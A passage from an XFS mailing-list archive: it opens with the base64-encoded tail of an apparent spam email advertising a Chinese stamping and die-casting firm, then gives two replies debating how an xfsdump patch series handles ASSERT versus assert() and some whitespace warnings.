TlQgc2l6ZT0yPk1ldGFsIHN0YW1waW5nIHRvb2xpbmcgYW5kIHBhcnRzPC9GT05UPjwvU1BBTj48 L1A+DQo8UCBzdHlsZT0iVEVYVC1BTElHTjogbGVmdDsgTUFSR0lOOiAwY20gMGNtIDBwdDsgbXNv LXBhZ2luYXRpb246IHdpZG93LW9ycGhhbiIgY2xhc3M9TXNvTm9ybWFsIGFsaWduPWxlZnQ+PEZP TlQgc2l6ZT0yPjxTUEFOIHN0eWxlPSJGT05ULUZBTUlMWTogJ0FyaWFsJywnc2Fucy1zZXJpZic7 IG1zby1iaWRpLWZvbnQtc2l6ZTogMTAuNXB0IiBsYW5nPUVOLVVTPkFsdW1pbnVtL3ppbmMgPC9T UEFOPjxTUEFOIHN0eWxlPSJGT05ULUZBTUlMWTogJ0FyaWFsJywnc2Fucy1zZXJpZic7IG1zby1i aWRpLWZvbnQtc2l6ZTogMTAuNXB0IiBsYW5nPUVOLVVTPmRpZS1jYXN0ZWQgbW9sZCBhbmQgcGFy dHMuPG86cD48L286cD48L1NQQU4+PC9GT05UPjwvUD4NCjxQPjxTUEFOIHN0eWxlPSJGT05ULUZB TUlMWTogJ0FyaWFsJywnc2Fucy1zZXJpZic7IG1zby1iaWRpLWZvbnQtc2l6ZTogMTAuNXB0OyBt c28tZm9udC1rZXJuaW5nOiAwcHQiIGxhbmc9RU4tVVM+PEZPTlQgc2l6ZT0yPlRoZSBhZHZhbnRh Z2VzOjxCUj4xLiZuYnNwOyZuYnNwOyZuYnNwO0xvd2VyJm5ic3A7cHJpY2UmbmJzcDtiYXNlZCZu YnNwO29uJm5ic3A7dGhlJm5ic3A7c2FtZSZuYnNwO2hpZ2gmbmJzcDtxdWFsaXR5Jm5ic3A7dGhh biZuYnNwO0V1cm9wZS4oc2F2aW5nJm5ic3A7NTAlLTgwJSZuYnNwO2Nvc3QpPEJSPjIuJm5ic3A7 Jm5ic3A7Jm5ic3A7T24mbmJzcDtUaW1lJm5ic3A7RGVsaXZlcnkmbmJzcDs8QlI+My4mbmJzcDsm bmJzcDsmbmJzcDtEZXNpZ25pbmcmbmJzcDt0aGUmbmJzcDttb3N0Jm5ic3A7ZWNvbm9taWNhbCZu YnNwO3NvbHV0aW9ucyZuYnNwO3RvJm5ic3A7bWF0Y2gmbmJzcDtjbGllbnRzJyBidWRnZXQuJm5i c3A7PEJSPjQuJm5ic3A7Jm5ic3A7Jm5ic3A7MjQmbmJzcDtIb3VycyZuYnNwO09uJm5ic3A7Q2Fs bC0mbmJzcDtNYWlsJm5ic3A7cHJvbXB0Jm5ic3A7cmVwbHkuJm5ic3A7Jm5ic3A7PEJSPiZuYnNw OzxCUj5BZnRlciZuYnNwO3JlY2VpdmluZyZuYnNwO3lvdXImbmJzcDszRCZuYnNwO2RyYXdpbmcs IHdlImxsJm5ic3A7Z2l2ZSZuYnNwO3lvdSZuYnNwO2EmbmJzcDtxdW90Jm5ic3A7aW4mbmJzcDsx MiZuYnNwO2hvdXJzLjxCUj5BbnkmbmJzcDtSRlEmbmJzcDsscGxzJm5ic3A7c2VudCZuYnNwO3Vz Jm5ic3A7ZW1haWwmbmJzcDt0byZuYnNwOzombmJzcDthcmRlbkBwb3dzdGFybW91bGQuY29tJm5i c3A7Jm5ic3A7YW5kJm5ic3A7Jm5ic3A7cG93c3Rhcm1vdWxkLmFyZGVuQGdtYWlsLmNvbTxCUj4m bmJzcDs8QlI+VGhhbmsmbmJzcDt5b3UmbmJzcDtpbiZuYnNwO2FkdmFuY2UhPEJSPkJlc3QmbmJz cDtyZWdhcmRzLDxCUj5BcmRlbiBXYW5nPEJSPlNIRU5aSEVOJm5ic3A7UE9XU1RBUiZuYnNwO1RF Q0hOT0xPR1kmbmJzcDtMSU1JVEVEPEJSPkZhY3RvcnkmbmJzcDtBZGQuOiZuYnNwO0luZHVzdHJp YWwmbmJzcDtab25lLCZuYnNwO1NoYW5neGluZywmbmJzcDtTaGFqaW5nJm5ic3A7U3RyZWV0LCBC YW8nYW4mbmJzcDtEaXN0cmljdCwmbmJzcDtTaGVuemhlbiwgR3Vhbmdkb25nLCBDaGluYS48QlI+ VGVsOiZuYnNwOys4Ni03NTUtMzY5Mzk0MzI8QlI+RmF4Ois4Ni03NTUtMjY0Mzk4ODQ8QlI+TW9i OiZuYnNwOys4Ni0xNTAxMzQ0MTI1MTxCUj5Ta3lwZTpwb3dzdGFyMDg8QlIgc3R5bGU9Im1zby1z cGVjaWFsLWNoYXJhY3RlcjogbGluZS1icmVhayI+PEJSIHN0eWxlPSJtc28tc3BlY2lhbC1jaGFy YWN0ZXI6IGxpbmUtYnJlYWsiPjwvRk9OVD48L1A+PC9TUEFOPjxTUEFOIHN0eWxlPSJGT05ULUZB TUlMWTogJ0FyaWFsJywnc2Fucy1zZXJpZic7IG1zby1iaWRpLWZvbnQtc2l6ZTogMTAuNXB0IiBs YW5nPUVOLVVTPjxvOnA+PC9vOnA+PC9TUEFOPg== ------=_NextPart_000_0003_5A2E90B8.59474174-- ------=_NextPart_000_0003_A2800752.BBE0481C Content-ID: Content-Transfer-Encoding: base64 Content-Type: image/jpg;name="9mnjl2tu9xz_r.jpg" /9j/4AAQSkZJRgABAQEAlgCWAAD/4QAwRXhpZgAATU0AKgAAAAgAAQExAAIAAAAOAAAAGgAAAAB3 d3cubWVpdHUuY29tAP/bAEMAAwICAwICAwMDAwQDAwQFCAUFBAQFCgcHBggMCgwMCwoLCw0OEhAN DhEOCwsQFhARExQVFRUMDxcYFhQYEhQVFP/bAEMBAwQEBQQFCQUFCRQNCw0UFBQUFBQUFBQUFBQU FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFP/AABEIAB0A8AMBEQACEQEDEQH/ xAAfAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMA BBEFEiExQQYTUWEHInEUMoGRoQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVG R0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0 tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/xAAfAQADAQEBAQEB AQEBAAAAAAAAAQIDBAUGBwgJCgv/xAC1EQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2Fx EyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZ WmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TF xsfIycrS09TV1tfY2dri4+Tl5ufo6ery8/T19vf4+fr/2gAMAwEAAhEDEQA/AP1C/wCEj0n/AKCl l/4EJ/jV8kuwrruH/CR6T/0FLL/wIT/Gjkl2C67ir4h0p2CrqdmzE4AFwmT+tHJLsF0aFQMq3eqW dgwW5u4LdjyBLKqk/maaTeyFdIg/4SPSf+gpZf8AgQn+NVyS7Bddya11WyvnKW15b3DjkrFKrEfk alxa3QXTHXep2enlRdXcFsXyVE0gTPrjJoSb2QXSJYJ47mJZYZElicZV0YMpHsRSemjGLNNHbRPL LIsUSDLO5ACj1JNNK+wEFnqtlqDMtreQXLKMsIZVcge+DTcWt0K6ZaqRlKTWtOiuDA9/bJOGCmJp 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 KStsz9mQcgH1r86R74tMD//Z ------=_NextPart_000_0003_A2800752.BBE0481C-- From bfoster@redhat.com Thu Oct 29 07:13:42 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E7B3E7F6A for ; Thu, 29 Oct 2015 07:13:41 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5D84AAC004 for ; Thu, 29 Oct 2015 05:13:37 -0700 (PDT) X-ASG-Debug-ID: 1446120816-04cbb0660c108fd0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id kQjKd7EnnhgUt0Ui (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Thu, 29 Oct 2015 05:13:36 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id E2F3A8C1A5; Thu, 29 Oct 2015 12:13:35 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-105.bos.redhat.com [10.18.41.105]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9TCDZDg022028; Thu, 29 Oct 2015 08:13:35 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 8896C1201AB; Thu, 29 Oct 2015 08:13:34 -0400 (EDT) Date: Thu, 29 Oct 2015 08:13:34 -0400 From: Brian Foster To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/8] cleanup: get rid of ASSERT Message-ID: <20151029121333.GA11663@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 1/8] cleanup: get rid of ASSERT References: <1444959901-31319-1-git-send-email-david@fromorbit.com> <1444959901-31319-2-git-send-email-david@fromorbit.com> <20151028115121.GA50552@bfoster.bfoster> <20151028223234.GQ8773@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151028223234.GQ8773@dastard> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1446120816 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, Oct 29, 2015 at 09:32:34AM +1100, Dave Chinner wrote: > On Wed, Oct 28, 2015 at 07:51:22AM -0400, Brian Foster wrote: > > On Fri, Oct 16, 2015 at 12:44:54PM +1100, Dave Chinner wrote: > > > From: Dave Chinner > > > > > > ASSERT comes from the xfs/xfs.h include, and we don't ever define > > > DEBUG so we never get asserts built in. We want asserts built in for > > > testing, but not for distro packages. The debian package already > > > tries to do this by using "export DEBUG=-DNDEBUG" for the build > > > context, but seeing as we pull in #define ASSERT(ex) (0) from the > > > XFS headers it's a no-op. > > > > > > Convert all the ASSERT calls to assert to remove this conflict with > > > the xfsprogs headers and so local developer builds are built with > > > asserts enabled. > > > > > > Signed-off-by: Dave Chinner > > > --- > > > > My initial concern when reading this was that asserts were now > > unconditionally enabled. According to the man page, assert() is enabled > > unless NDEBUG is defined at include time. The debian builder apparently > > does this, but is this standard for other such utils? > > For other XFS utilities? Yes. For other packages I don't maintain? I > don't know, I don't care, and I don't think it's relevant at all. > How the distro builds and packages a utility is up to the distro > maintainers - if they define -NDEBUG, then there is absolutely no > change in behaviour of xfsdump. I think the binary is effectively > unchanged as assert() is defined out in that case... > I'm talking about common packaging tools (e.g., yum/dnf being the obvious next example) and XFS packages, not random other packages. If they don't define NDEBUG, then apparently there is a change in behavior. > > That aside, this seems like an inconsistent approach from our other > > tools. For example, the debian/rules from xfsprogs does the same thing, > > yet DEBUG must be defined to enable asserts in the first place. > > That's a issue with the way xfsprogs uses asserts - ASSERT should > never have been exported in the first, nor should the xfsdump buildi > rely on it, but here we are.... > Sure... > > If the > > problem is that asserts cannot be enabled, I'm wondering why the > > appropriate fix isn't to define DEBUG somewhere for debug-enabled builds > > rather than unconditionally convert all of the ASSERT() calls into > > actual assert()'s..? > > Becuase it has to build with both old and new xfsprogs userspace > headers. Hence we cannot use ASSERT reliably in xfsdump at all, > because it's owned by the old xfsprogs headers and it's behaviour is > determined by whatever that xfsprogs installation defined...... > Then why not try to undef/redef in xfsdump or just rename the #define that's used? I don't care too much either way, I just don't follow why there's a need to change behavior at all to fix a naming conflict. Are we saying that ASSERT() probably shouldn't exist in userspace (incl. xfsprogs) and we should always use the generic assert() mechanism? Or are we saying ASSERT() can exist in userspace, but it's purely a libxfs thing and should not be exported beyond that (e.g., libxfs can use ASSERT(), actual userspace tools like repair, etc. should eventually use assert())..? Or perhaps we want to enable assert functionality, but DEBUG is broken (?) and we don't want to deal with that just to fix asserts and the build? Any of those seem reasonable to me. > > We do actually have a bunch of '#ifdef DEBUG' code > > throughout xfsdump (and DEBUG appears in 'configure' as well, though I > > have no idea if that actually does anything)... > > I'm not going to pull that string and have this turn into a massive > "we have to change everything" exercise. I've built the code with > and without NDEBUG enabled, and had no problems with the assert code > either way. > I'm not sure what that has to do with fixing ASSERT(). If DEBUG is in fact broken on xfsdump today, then it could technically be fixed separately whenever somebody has the time and motivation to do so. Brian > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From bfoster@redhat.com Thu Oct 29 07:13:53 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 999E57F6A for ; Thu, 29 Oct 2015 07:13:53 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8A724304032 for ; Thu, 29 Oct 2015 05:13:50 -0700 (PDT) X-ASG-Debug-ID: 1446120828-04cb6c7b86fec10001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id eFfaPN4cZl523Ptw (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Thu, 29 Oct 2015 05:13:49 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 87D21C0B5912; Thu, 29 Oct 2015 12:13:48 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-105.bos.redhat.com [10.18.41.105]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9TCDmUm018371; Thu, 29 Oct 2015 08:13:48 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 6B5FE1201AB; Thu, 29 Oct 2015 08:13:47 -0400 (EDT) Date: Thu, 29 Oct 2015 08:13:47 -0400 From: Brian Foster To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 0/8] xfsdump: Ouchie! My bleeding eyes! Message-ID: <20151029121346.GB11663@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 0/8] xfsdump: Ouchie! My bleeding eyes! References: <1444959901-31319-1-git-send-email-david@fromorbit.com> <20151028115138.GB50552@bfoster.bfoster> <20151028223542.GR8773@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151028223542.GR8773@dastard> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1446120829 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, Oct 29, 2015 at 09:35:42AM +1100, Dave Chinner wrote: > On Wed, Oct 28, 2015 at 07:51:39AM -0400, Brian Foster wrote: > > On Fri, Oct 16, 2015 at 12:44:53PM +1100, Dave Chinner wrote: > > > Hi folks, > > > > > > Turns out that changes to exported XFS headers in xfsprogs v4.2.0 > > > broke the xfsdump build. the XFS dump build was implicitly including > > > the platform definitions calculated for the xfsprogs build and so > > > removing them from the xfsprogs headers made xfsdump very unhappy. > > > > > ... > > > > > > So, now the code base is a little bit cleaner, a lot less dependent > > > on the xfsprogs header files, compiles cleanly on xfsprogs 3.2.x and > > > 4.x releases, can easily have asserts build in or excluded (distro > > > packages need to use "export DEBUG=-DNDEBUG" to exclude asserts), > > > passes xfstests with asserts enabled and disabled, and best of all > > > the source code is a little less eye-bleedy. > > > > > > I really don't expect anyone to review this closely - it's *huge* > > > chunk of boring search/replace change: > > > > > > 94 files changed, 2929 insertions(+), 2652 deletions(-) > > > > > > but I would like people to comment on/ack the approach I've taken > > > here. If nobody objects/cares, I'll then do a 3.1.6 release early > > > next week.... > > > > > > > I sent some comments on patch 1, otherwise the rest looks reasonable to > > me on a quick pass through. The only thing I noticed is that the series > > introduced a handful of whitespace problems. I didn't go and track them > > into the individual patches, but here's the full output from my patch > > import: > > it didn't add any whitespace problems... > > > > > Applying: cleanup: get rid of ASSERT > > /home/bfoster/repos/xfsdump/.git/rebase-apply/patch:3725: space before tab in indent. > > assert( namebuf ); > > /home/bfoster/repos/xfsdump/.git/rebase-apply/patch:5656: trailing whitespace. > > assert ( ent != NULL ); > > /home/bfoster/repos/xfsdump/.git/rebase-apply/patch:5855: trailing whitespace. > > assert ( ent != NULL ); > > s/ASSERT/assert/ does not change any of the whitespace, but it will > complain about it because the new line has whitespace problems > because they existed in the old line... > Ok, I saw a few of them highlighted on the console after importing the patches and for whatever reason, git highlighted the error on line insertion but not on line removal. That made me think they were introduced... disregard. Brian > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From bfoster@redhat.com Thu Oct 29 09:27:39 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: 